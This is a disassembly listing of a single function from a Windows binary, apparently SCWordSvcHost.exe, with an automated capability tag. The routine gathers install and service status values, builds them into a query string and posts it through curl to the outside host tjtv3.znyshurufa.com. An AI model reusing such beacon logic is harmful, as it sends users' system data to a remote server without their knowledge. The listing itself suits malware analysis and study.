Function at 0x405a10
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0xffffffffffffffff
push 0x51d45b
mov eax, dword fs:[0]
push eax
sub esp, 0x584
mov eax, dword [0x569338]
xor eax, esp
mov dword [esp + 0x580], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x569338]
xor eax, esp
push eax
lea eax, [esp + 0x598]
mov dword fs:[0], eax
xor ebx, ebx
mov esi, ecx
push ebx
push 0x55f26f
lea ecx, [esp + 0xf4]
mov dword [esp + 0x20], esi
mov dword [esp + 0x10c], 0xf
mov dword [esp + 0x108], ebx
mov byte [esp + 0xf8], bl
call fcn.00405220
mov dword [esp + 0x5a0], ebx
mov edi, dword [esi + 4]
cmp edi, dword [esi + 8]
jbe 0x405a92
call fcn.0042d45a
mov dword [esp + 0x3c], edi
mov ebp, dword [esi + 8]
cmp dword [esi + 4], ebp
jbe 0x405aa3
call fcn.0042d45a
cmp edi, ebp
je 0x405e65
cmp edi, dword [esi + 8]
jb 0x405ab5
call fcn.0042d45a
mov edi, dword [edi]
push 9
push str.QueryName
lea esi, [esp + 0x68]
mov dword [esp + 0x80], 7
mov dword [esp + 0x7c], ebx
mov word [esp + 0x6c], bx
call fcn.004021f0
mov byte [esp + 0x5a0], 1
mov eax, dword [edi]
mov edx, dword [eax + 0x1c]
mov ecx, esi
push ecx
mov ecx, edi
call edx
mov byte [esp + 0x5a0], bl
cmp dword [esp + 0x78], 8
mov ebp, eax
jb 0x405b0c
mov eax, dword [esp + 0x64]
push eax
call fcn.0042d197
add esp, 4
mov eax, 7
push 0xc
push str.InstallExist
lea esi, [esp + 0x84]
mov dword [esp + 0x80], eax
mov dword [esp + 0x7c], ebx
mov word [esp + 0x6c], bx
mov dword [esp + 0x9c], eax
mov dword [esp + 0x98], ebx
mov word [esp + 0x88], bx
call fcn.004021f0
mov byte [esp + 0x5a0], 2
mov edx, dword [edi]
mov edx, dword [edx + 0x1c]
mov eax, esi
push eax
mov ecx, edi
call edx
mov byte [esp + 0x5a0], bl
cmp dword [esp + 0x94], 8
mov dword [esp + 0x5c], eax
jb 0x405b83
mov eax, dword [esp + 0x80]
push eax
call fcn.0042d197
add esp, 4
mov eax, 7
push 0xd
push str.ServicesExist
lea esi, [esp + 0xa0]
mov dword [esp + 0x9c], eax
mov dword [esp + 0x98], ebx
mov word [esp + 0x88], bx
mov dword [esp + 0xb8], eax
mov dword [esp + 0xb4], ebx
mov word [esp + 0xa4], bx
call fcn.004021f0
mov byte [esp + 0x5a0], 3
mov edx, dword [edi]
mov edx, dword [edx + 0x1c]
mov eax, esi
push eax
mov ecx, edi
call edx
mov byte [esp + 0x5a0], bl
cmp dword [esp + 0xb0], 8
mov dword [esp + 0x14], eax
jb 0x405c00
mov eax, dword [esp + 0x9c]
push eax
call fcn.0042d197
add esp, 4
cmp ebp, ebx
mov esi, 7
mov dword [esp + 0xb0], esi
mov dword [esp + 0xac], ebx
mov word [esp + 0x9c], bx
je 0x405e41
push ebx
mov edi, 0xf
push 0x55f26f
lea ecx, [esp + 0xd8]
mov dword [esp + 0xf0], edi
mov dword [esp + 0xec], ebx
mov byte [esp + 0xdc], bl
call fcn.00405220
mov byte [esp + 0x5a0], 4
cmp dword [ebp + 0x18], 8
jb 0x405c62
mov edx, dword [ebp + 4]
jmp 0x405c65
lea edx, [ebp + 4]
mov eax, edx
mov dword [esp + 0x58], esi
mov dword [esp + 0x54], ebx
mov word [esp + 0x44], bx
lea esi, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x405c77
sub eax, esi
sar eax, 1
push eax
push edx
lea esi, [esp + 0x48]
call fcn.004021f0
lea ecx, [esp + 0x1c]
push ecx
mov ecx, esi
mov byte [esp + 0x5a4], 5
call fcn.0040cae0
add esp, 4
push ebx
push eax
or eax, 0xffffffff
lea esi, [esp + 0xd8]
mov byte [esp + 0x5a8], 6
call fcn.00406c00
mov ebp, 0x10
cmp dword [esp + 0x34], ebp
jb 0x405cd9
mov edx, dword [esp + 0x20]
push edx
call fcn.0042d197
add esp, 4
mov esi, 8
mov byte [esp + 0x5a0], 4
cmp dword [esp + 0x58], esi
mov dword [esp + 0x34], edi
mov dword [esp + 0x30], ebx
mov byte [esp + 0x20], bl
jb 0x405d05
mov eax, dword [esp + 0x44]
push eax
call fcn.0042d197
add esp, 4
push 1
push 0x55f2bc
lea eax, [esp + 0xd8]
call fcn.00406cf0
mov eax, dword [esp + 0x5c]
cmp eax, ebx
je 0x405d4f
cmp dword [eax + 0x18], esi
jb 0x405d2a
mov eax, dword [eax + 4]
jmp 0x405d2d
add eax, 4
push 0x55f2c0
push eax
call fcn.0042d7a2
add esp, 8
test eax, eax
push 1
lea eax, [esp + 0xd4]
jne 0x405d58
push str.10_t
jmp 0x405d5d
push 1
lea eax, [esp + 0xd4]
push 0x55f2d0
call fcn.00406cf0
mov eax, dword [esp + 0x14]
cmp eax, ebx
je 0x405d99
cmp dword [eax + 0x18], esi
jb 0x405d74
mov eax, dword [eax + 4]
jmp 0x405d77
add eax, 4
push 0x55f2c0
push eax
call fcn.0042d7a2
add esp, 8
test eax, eax
push 1
lea eax, [esp + 0xd4]
jne 0x405da2
push str.10_t
jmp 0x405da7
push 1
lea eax, [esp + 0xd4]
push 0x55f2d0
call fcn.00406cf0
push 1
push 0x55f2d0
lea eax, [esp + 0xd8]
call fcn.00406cf0
cmp dword [esp + 0x104], ebp
mov edx, dword [esp + 0xf0]
jae 0x405dd6
lea edx, [esp + 0xf0]
xor eax, eax
mov ecx, 0x55f26f
call fcn.00408400
cmp eax, ebx
jne 0x405df6
xor eax, eax
cmp dword [esp + 0x100], ebx
setne al
cmp eax, ebx
je 0x405e09
push 1
push 0x55f2d4
lea eax, [esp + 0xf4]
call fcn.00406cf0
push ebx
lea ecx, [esp + 0xd4]
push ecx
or eax, 0xffffffff
lea esi, [esp + 0xf4]
call fcn.00406c00
mov byte [esp + 0x5a0], bl
cmp dword [esp + 0xe8], ebp
jb 0x405e41
mov edx, dword [esp + 0xd4]
push edx
call fcn.0042d197
add esp, 4
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x3c]
cmp ecx, dword [eax + 8]
jb 0x405e53
call fcn.0042d45a
add dword [esp + 0x3c], 4
mov edi, dword [esp + 0x3c]
mov esi, dword [esp + 0x18]
jmp 0x405a96
mov ebp, 0xf
mov dword [esp + 0x13c], ebp
mov dword [esp + 0x138], ebx
mov byte [esp + 0x128], bl
lea edi, [esp + 0x124]
mov byte [esp + 0x5a0], 7
call fcn.004069e0
push ebx
push 0x55f26f
lea ecx, [esp + 0xbc]
mov dword [esp + 0xd4], ebp
mov dword [esp + 0xd0], ebx
mov byte [esp + 0xc0], bl
call fcn.00405220
push ebx
mov edx, edi
push edx
or eax, 0xffffffff
lea esi, [esp + 0xbc]
mov byte [esp + 0x5a8], 8
call fcn.00406c00
push 1
push 0x55f2d8
mov eax, esi
call fcn.00406cf0
push 0xa
push str.SmartCloud
lea esi, [esp + 0x48]
mov dword [esp + 0x60], 7
mov dword [esp + 0x5c], ebx
mov word [esp + 0x4c], bx
call fcn.004021f0
lea eax, [esp + 0x1c]
push eax
mov ecx, esi
mov byte [esp + 0x5a4], 9
call fcn.0040cae0
add esp, 4
push ebx
push eax
or eax, 0xffffffff
lea esi, [esp + 0xbc]
mov byte [esp + 0x5a8], 0xa
call fcn.00406c00
mov edi, 0x10
cmp dword [esp + 0x34], edi
jb 0x405f4c
mov ecx, dword [esp + 0x20]
push ecx
call fcn.0042d197
add esp, 4
mov byte [esp + 0x5a0], 8
cmp dword [esp + 0x58], 8
mov dword [esp + 0x34], ebp
mov dword [esp + 0x30], ebx
mov byte [esp + 0x20], bl
jb 0x405f74
mov edx, dword [esp + 0x44]
push edx
call fcn.0042d197
add esp, 4
push 1
push 0x55f2d8
lea eax, [esp + 0xbc]
call fcn.00406cf0
push 7
push 0x55f2dc
lea eax, [esp + 0xbc]
call fcn.00406cf0
push 1
push 0x55f2d8
lea eax, [esp + 0xbc]
call fcn.00406cf0
lea eax, [esp + 0x40]
push eax
call fcn.00404360
mov ecx, eax
call fcn.00401750
lea ecx, [esp + 0x1c]
push ecx
mov ecx, eax
mov byte [esp + 0x5a4], 0xb
call fcn.0040cae0
add esp, 4
push ebx
push eax
or eax, 0xffffffff
lea esi, [esp + 0xbc]
mov byte [esp + 0x5a8], 0xc
call fcn.00406c00
cmp dword [esp + 0x34], edi
jb 0x406001
mov edx, dword [esp + 0x20]
push edx
call fcn.0042d197
add esp, 4
mov dword [esp + 0x34], ebp
mov ebp, 8
mov byte [esp + 0x5a0], 8
cmp dword [esp + 0x58], ebp
mov dword [esp + 0x30], ebx
mov byte [esp + 0x20], bl
jb 0x40602d
mov eax, dword [esp + 0x44]
push eax
call fcn.0042d197
add esp, 4
push 1
push 0x55f2d8
lea eax, [esp + 0xbc]
call fcn.00406cf0
push ebx
lea ecx, [esp + 0xf0]
push ecx
or eax, 0xffffffff
lea esi, [esp + 0xbc]
call fcn.00406c00
lea edx, [esp + 0x140]
push edx
mov ecx, esi
call fcn.0040c9d0
add esp, 4
mov byte [esp + 0x5a0], 0xd
cmp dword [esp + 0x158], ebp
mov eax, dword [esp + 0x144]
jae 0x406089
lea eax, [esp + 0x144]
push eax
push 0x55f2e4
call fcn.00418900
push 0x3e7
lea eax, [esp + 0x1b9]
push ebx
push eax
mov byte [esp + 0x1c0], bl
call fcn.00433df0
lea ecx, [esp + 0x30]
add esp, 0x14
push ecx
lea ecx, [esp + 0xb8]
call fcn.0040bfe0
add esp, 4
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [esp + 0xc0]
mov byte [esp + 0x5ac], 0xe
call fcn.004052f0
mov byte [esp + 0x5a0], 0xd
cmp dword [esp + 0x34], edi
jb 0x4060f8
mov edx, dword [esp + 0x20]
push edx
call fcn.0042d197
add esp, 4
mov esi, dword [esp + 0xcc]
cmp esi, edi
mov ebp, dword [esp + 0xb8]
mov dword [esp + 0x14], 0x3e8
mov eax, ebp
jae 0x40611b
lea eax, [esp + 0xb8]
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
add eax, 1
cmp cl, bl
jne 0x406120
sub eax, edx
cmp esi, edi
mov ecx, ebp
jae 0x406138
lea ecx, [esp + 0xb8]
lea edx, [esp + 0x14]
push edx
lea edx, [esp + 0x1b0]
push edx
push eax
mov eax, ecx
call fcn.0040bbf0
add esp, 0xc
lea ecx, [esp + 0x1ac]
call fcn.0041a4a0
push 0x28
mov ebp, 0xf
push str.http:__tjtv3.znyshurufa.com_jp.php_data
lea ecx, [esp + 0x110]
mov dword [esp + 0x128], ebp
mov dword [esp + 0x124], ebx
mov byte [esp + 0x114], bl
call fcn.00405220
lea eax, [esp + 0x1ac]
mov byte [esp + 0x5a0], 0xf
lea edx, [eax + 1]
jmp 0x4061a0
mov cl, byte [eax]
add eax, 1
cmp cl, bl
jne 0x4061a0
sub eax, edx
push eax
lea eax, [esp + 0x1b0]
push eax
lea eax, [esp + 0x110]
call fcn.00406cf0
push 0x55f26f
push ebx
mov dword [esp + method.CHttpPageClient.virtual_0], vtable.CHttpPageClient.0
mov dword [esp + 0x16c], ebx
mov dword [esp + 0x170], ebx
mov dword [esp + 0x174], ebx
mov dword [esp + 0x1a0], ebp
mov dword [esp + 0x19c], ebx
mov byte [esp + 0x18c], bl
mov dword [esp + 0x178], ebx
mov dword [esp + 0x17c], ebx
mov dword [esp + 0x1a8], ebx
mov dword [esp + 0x1ac], ebx
mov dword [esp + 0x184], 0x3c
mov dword [esp + 0x180], 0x1e
call sym.SCWordSvcHost.exe_curl_slist_append
add esp, 8
mov dword [esp + 0x19c], eax
mov byte [esp + 0x5a0], 0x10
cmp dword [esp + 0x120], edi
mov eax, dword [esp + 0x10c]
jae 0x40625b
lea eax, [esp + 0x10c]
push eax
lea esi, [esp + 0x160]
call fcn.0041aa40
mov ecx, esi
mov byte [esp + 0x5a0], 0xf
call fcn.0041a8b0
cmp dword [esp + 0x120], edi
jb 0x406290
mov ecx, dword [esp + 0x10c]
push ecx
call fcn.0042d197
add esp, 4
cmp dword [esp + 0x158], 8
mov dword [esp + 0x120], ebp
mov dword [esp + 0x11c], ebx
mov byte [esp + 0x10c], bl
jb 0x4062bf
mov edx, dword [esp + 0x144]
push edx
call fcn.0042d197
add esp, 4
cmp dword [esp + 0xcc], edi
mov dword [esp + 0x158], 7
mov dword [esp + 0x154], ebx
mov word [esp + 0x144], bx
jb 0x4062f2
mov eax, dword [esp + 0xb8]
push eax
call fcn.0042d197
add esp, 4
cmp dword [esp + 0x13c], edi
mov dword [esp + 0xcc], ebp
mov dword [esp + 0xc8], ebx
mov byte [esp + 0xb8], bl
jb 0x406320
mov ecx, dword [esp + 0x128]
push ecx
call fcn.0042d197
add esp, 4
cmp dword [esp + 0x104], edi
mov dword [esp + 0x13c], ebp
mov dword [esp + 0x138], ebx
mov byte [esp + 0x128], bl
jb 0x40634e
mov edx, dword [esp + 0xf0]
push edx
call fcn.0042d197
add esp, 4
mov ecx, dword [esp + 0x598]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x580]
xor ecx, esp
call fcn.0042d085
add esp, 0x590
ret